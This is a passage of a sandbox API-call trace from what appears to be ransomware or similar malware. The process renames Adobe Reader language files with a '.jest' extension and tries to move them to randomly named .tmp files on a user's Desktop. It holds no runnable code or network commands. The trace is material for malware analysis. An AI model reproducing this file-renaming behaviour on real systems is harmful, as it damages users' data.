(in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.682] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.682] GetTickCount () returned 0x1157714 [0150.682] IsWindowVisible (hWnd=0x30268) returned 0 [0150.682] Sleep (dwMilliseconds=0x0) [0150.683] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko_KR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko_kr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko_KR.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko_kr.txt.jest")) returned 1 [0150.686] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko_KR.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko_KR.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.ko_KR.txt") returned 0x6b [0150.686] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko_KR.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x18000018, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x146c918, ftLastAccessTime.dwLowDateTime=0x144ecf8, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xc0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x1b0, nFileSizeLow=0x146c820, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.687] GetLastError () returned 0x2 [0150.687] VarBstrFromR4 (in: fltIn=0x4794502f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.37") returned 0x0 [0150.688] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.688] CoFreeUnusedLibraries () [0150.688] GetTickCount () returned 0x1157714 [0150.688] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.688] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.688] GetTickCount () returned 0x1157714 [0150.688] IsWindowVisible (hWnd=0x30268) returned 0 [0150.688] Sleep (dwMilliseconds=0x0) [0150.689] GetFullPathNameA (in: lpFileName="6jbPE_bM7d8QzBD0iwdIPhGdpWh9xF bwUS3TAqzafD5BIQb24oKrFKOyux7gtBxslhEeiXa2crxRU8-iMaoKjwuSp9wLJL_GgqH5.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6jbPE_bM7d8QzBD0iwdIPhGdpWh9xF bwUS3TAqzafD5BIQb24oKrFKOyux7gtBxslhEeiXa2crxRU8-iMaoKjwuSp9wLJL_GgqH5.tmp", lpFilePart=0x18e708*="6jbPE_bM7d8QzBD0iwdIPhGdpWh9xF bwUS3TAqzafD5BIQb24oKrFKOyux7gtBxslhEeiXa2crxRU8-iMaoKjwuSp9wLJL_GgqH5.tmp") returned 0x8f [0150.689] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko_KR.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko_KR.txt", lpFilePart=0x18e708*="DisplayLanguageNames.ko_KR.txt") returned 0x6b [0150.690] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko_KR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko_kr.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6jbPE_bM7d8QzBD0iwdIPhGdpWh9xF bwUS3TAqzafD5BIQb24oKrFKOyux7gtBxslhEeiXa2crxRU8-iMaoKjwuSp9wLJL_GgqH5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6jbpe_bm7d8qzbd0iwdiphgdpwh9xf bwus3taqzafd5biqb24okrfkoyux7gtbxslheeixa2crxru8-imaokjwusp9wljl_ggqh5.tmp")) returned 0 [0150.690] GetLastError () returned 0x2 [0150.690] GetLastError () returned 0x2 [0150.690] SetLastError (dwErrCode=0x2) [0150.690] GetLastError () returned 0x2 [0150.690] SetLastError (dwErrCode=0x2) [0150.690] GetLastError () returned 0x2 [0150.690] SetLastError (dwErrCode=0x2) [0150.691] GetFullPathNameA (in: lpFileName="6jbPE_bM7d8QzBD0iwdIPhGdpWh9xF bwUS3TAqzafD5BIQb24oKrFKOyux7gtBxslhEeiXa2crxRU8-iMaoKjwuSp9wLJL_GgqH5.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6jbPE_bM7d8QzBD0iwdIPhGdpWh9xF bwUS3TAqzafD5BIQb24oKrFKOyux7gtBxslhEeiXa2crxRU8-iMaoKjwuSp9wLJL_GgqH5.tmp", lpFilePart=0x18e6e4*="6jbPE_bM7d8QzBD0iwdIPhGdpWh9xF bwUS3TAqzafD5BIQb24oKrFKOyux7gtBxslhEeiXa2crxRU8-iMaoKjwuSp9wLJL_GgqH5.tmp") returned 0x8f [0150.691] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6jbPE_bM7d8QzBD0iwdIPhGdpWh9xF bwUS3TAqzafD5BIQb24oKrFKOyux7gtBxslhEeiXa2crxRU8-iMaoKjwuSp9wLJL_GgqH5.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x50626a36, cFileName="E_bM7d8QzBD0iwdIPhGdpWh9xF bwUS3TAqzafD5BIQb24oKrFKOyux7gtBxslhEeiXa2crxRU8-iMaoKjwuSp9wLJL_GgqH5.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.691] GetLastError () returned 0x2 [0150.691] GetLastError () returned 0x2 [0150.691] SetLastError (dwErrCode=0x2) [0150.691] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.691] CoFreeUnusedLibraries () [0150.692] GetTickCount () returned 0x1157723 [0150.692] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.692] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.692] GetTickCount () returned 0x1157723 [0150.692] IsWindowVisible (hWnd=0x30268) returned 0 [0150.692] Sleep (dwMilliseconds=0x0) [0150.693] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko.txt.jest")) returned 1 [0150.694] GetLastError () returned 0x0 [0150.694] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳潫琮瑸") returned 0x68 [0150.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0150.694] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳潫琮瑸") returned 0x68 [0150.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=105, lpWideCharStr=0x144bb04, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt") returned 105 [0150.694] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳潫琮瑸樮獥t") returned 0x6d [0150.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0150.694] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳潫琮瑸樮獥t") returned 0x6d [0150.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=110, lpWideCharStr=0x144ebf4, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt.jest") returned 110 [0150.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt", lpUsedDefaultChar=0x0) returned 105 [0150.694] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.ko.txt") returned 0x68 [0150.695] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x5000005, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ebc8, ftLastAccessTime.dwLowDateTime=0x1446100, ftLastAccessTime.dwHighDateTime=0x1436318, ftLastWriteTime.dwLowDateTime=0x28, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x2, nFileSizeLow=0x144eae0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.695] GetLastError () returned 0x2 [0150.695] VarBstrFromR4 (in: fltIn=0x47945031, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.38") returned 0x0 [0150.695] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.695] CoFreeUnusedLibraries () [0150.695] GetTickCount () returned 0x1157723 [0150.696] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.696] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.696] GetTickCount () returned 0x1157723 [0150.696] IsWindowVisible (hWnd=0x30268) returned 0 [0150.696] Sleep (dwMilliseconds=0x0) [0150.696] GetFullPathNameA (in: lpFileName="jXm-LL3M3ecgHZC5yRCU1Iubs3ONN59sGBGQms50lYqBY4QECK9tT oI9uLeB6plOb0ziJUar_PjH58V_dtMagGcR_mCOJnDEisL-.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jXm-LL3M3ecgHZC5yRCU1Iubs3ONN59sGBGQms50lYqBY4QECK9tT oI9uLeB6plOb0ziJUar_PjH58V_dtMagGcR_mCOJnDEisL-.tmp", lpFilePart=0x18e708*="jXm-LL3M3ecgHZC5yRCU1Iubs3ONN59sGBGQms50lYqBY4QECK9tT oI9uLeB6plOb0ziJUar_PjH58V_dtMagGcR_mCOJnDEisL-.tmp") returned 0x8f [0150.696] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt", lpFilePart=0x18e708*="DisplayLanguageNames.ko.txt") returned 0x68 [0150.697] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jXm-LL3M3ecgHZC5yRCU1Iubs3ONN59sGBGQms50lYqBY4QECK9tT oI9uLeB6plOb0ziJUar_PjH58V_dtMagGcR_mCOJnDEisL-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jxm-ll3m3ecghzc5yrcu1iubs3onn59sgbgqms50lyqby4qeck9tt oi9uleb6plob0zijuar_pjh58v_dtmaggcr_mcojndeisl-.tmp")) returned 0 [0150.697] GetLastError () returned 0x2 [0150.697] GetLastError () returned 0x2 [0150.697] SetLastError (dwErrCode=0x2) [0150.697] GetLastError () returned 0x2 [0150.697] SetLastError (dwErrCode=0x2) [0150.697] GetLastError () returned 0x2 [0150.697] SetLastError (dwErrCode=0x2) [0150.697] GetFullPathNameA (in: lpFileName="jXm-LL3M3ecgHZC5yRCU1Iubs3ONN59sGBGQms50lYqBY4QECK9tT oI9uLeB6plOb0ziJUar_PjH58V_dtMagGcR_mCOJnDEisL-.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jXm-LL3M3ecgHZC5yRCU1Iubs3ONN59sGBGQms50lYqBY4QECK9tT oI9uLeB6plOb0ziJUar_PjH58V_dtMagGcR_mCOJnDEisL-.tmp", lpFilePart=0x18e6e4*="jXm-LL3M3ecgHZC5yRCU1Iubs3ONN59sGBGQms50lYqBY4QECK9tT oI9uLeB6plOb0ziJUar_PjH58V_dtMagGcR_mCOJnDEisL-.tmp") returned 0x8f [0150.697] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jXm-LL3M3ecgHZC5yRCU1Iubs3ONN59sGBGQms50lYqBY4QECK9tT oI9uLeB6plOb0ziJUar_PjH58V_dtMagGcR_mCOJnDEisL-.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x2d6d586a, cFileName="LL3M3ecgHZC5yRCU1Iubs3ONN59sGBGQms50lYqBY4QECK9tT oI9uLeB6plOb0ziJUar_PjH58V_dtMagGcR_mCOJnDEisL-.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.698] GetLastError () returned 0x2 [0150.698] GetLastError () returned 0x2 [0150.698] SetLastError (dwErrCode=0x2) [0150.698] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.698] CoFreeUnusedLibraries () [0150.698] GetTickCount () returned 0x1157723 [0150.698] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.698] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.698] GetTickCount () returned 0x1157723 [0150.698] IsWindowVisible (hWnd=0x30268) returned 0 [0150.699] Sleep (dwMilliseconds=0x0) [0150.699] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp.txt.jest")) returned 1 [0150.700] GetLastError () returned 0x0 [0150.700] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慪䩟⹐硴t") returned 0x6b [0150.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.700] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慪䩟⹐硴t") returned 0x6b [0150.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=108, lpWideCharStr=0x1467bd4, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt") returned 108 [0150.700] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慪䩟⹐硴⹴敪瑳") returned 0x70 [0150.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.701] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慪䩟⹐硴⹴敪瑳") returned 0x70 [0150.701] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=113, lpWideCharStr=0x1439714, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt.jest") returned 113 [0150.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt", lpUsedDefaultChar=0x0) returned 108 [0150.701] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.ja_JP.txt") returned 0x6b [0150.701] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x18000018, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x146c918, ftLastAccessTime.dwLowDateTime=0x144eae8, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xc0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x1b0, nFileSizeLow=0x146c820, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.701] GetLastError () returned 0x2 [0150.701] VarBstrFromR4 (in: fltIn=0x47945031, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.38") returned 0x0 [0150.702] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.702] CoFreeUnusedLibraries () [0150.702] GetTickCount () returned 0x1157723 [0150.702] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.702] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.702] GetTickCount () returned 0x1157723 [0150.702] IsWindowVisible (hWnd=0x30268) returned 0 [0150.702] Sleep (dwMilliseconds=0x0) [0150.702] GetFullPathNameA (in: lpFileName="OUJLZf049 _r9Krqi-Ll8eRV2d LyF-238SROOJqSogD-vM2VppfQxeNiThJFhE7BrrPy2mOwci9TjO1S Cwzso_GUV5JyqzhlV2.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OUJLZf049 _r9Krqi-Ll8eRV2d LyF-238SROOJqSogD-vM2VppfQxeNiThJFhE7BrrPy2mOwci9TjO1S Cwzso_GUV5JyqzhlV2.tmp", lpFilePart=0x18e708*="OUJLZf049 _r9Krqi-Ll8eRV2d LyF-238SROOJqSogD-vM2VppfQxeNiThJFhE7BrrPy2mOwci9TjO1S Cwzso_GUV5JyqzhlV2.tmp") returned 0x8e [0150.703] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt", lpFilePart=0x18e708*="DisplayLanguageNames.ja_JP.txt") returned 0x6b [0150.703] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OUJLZf049 _r9Krqi-Ll8eRV2d LyF-238SROOJqSogD-vM2VppfQxeNiThJFhE7BrrPy2mOwci9TjO1S Cwzso_GUV5JyqzhlV2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oujlzf049 _r9krqi-ll8erv2d lyf-238sroojqsogd-vm2vppfqxenithjfhe7brrpy2mowci9tjo1s cwzso_guv5jyqzhlv2.tmp")) returned 0 [0150.703] GetLastError () returned 0x2 [0150.703] GetLastError () returned 0x2 [0150.703] SetLastError (dwErrCode=0x2) [0150.703] GetLastError () returned 0x2 [0150.703] SetLastError (dwErrCode=0x2) [0150.703] GetLastError () returned 0x2 [0150.704] SetLastError (dwErrCode=0x2) [0150.704] GetFullPathNameA (in: lpFileName="OUJLZf049 _r9Krqi-Ll8eRV2d LyF-238SROOJqSogD-vM2VppfQxeNiThJFhE7BrrPy2mOwci9TjO1S Cwzso_GUV5JyqzhlV2.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OUJLZf049 _r9Krqi-Ll8eRV2d LyF-238SROOJqSogD-vM2VppfQxeNiThJFhE7BrrPy2mOwci9TjO1S Cwzso_GUV5JyqzhlV2.tmp", lpFilePart=0x18e6e4*="OUJLZf049 _r9Krqi-Ll8eRV2d LyF-238SROOJqSogD-vM2VppfQxeNiThJFhE7BrrPy2mOwci9TjO1S Cwzso_GUV5JyqzhlV2.tmp") returned 0x8e [0150.704] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OUJLZf049 _r9Krqi-Ll8eRV2d LyF-238SROOJqSogD-vM2VppfQxeNiThJFhE7BrrPy2mOwci9TjO1S Cwzso_GUV5JyqzhlV2.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4c4a554f, cFileName="Zf049 _r9Krqi-Ll8eRV2d LyF-238SROOJqSogD-vM2VppfQxeNiThJFhE7BrrPy2mOwci9TjO1S Cwzso_GUV5JyqzhlV2.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.704] GetLastError () returned 0x2 [0150.704] GetLastError () returned 0x2 [0150.704] SetLastError (dwErrCode=0x2) [0150.704] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, 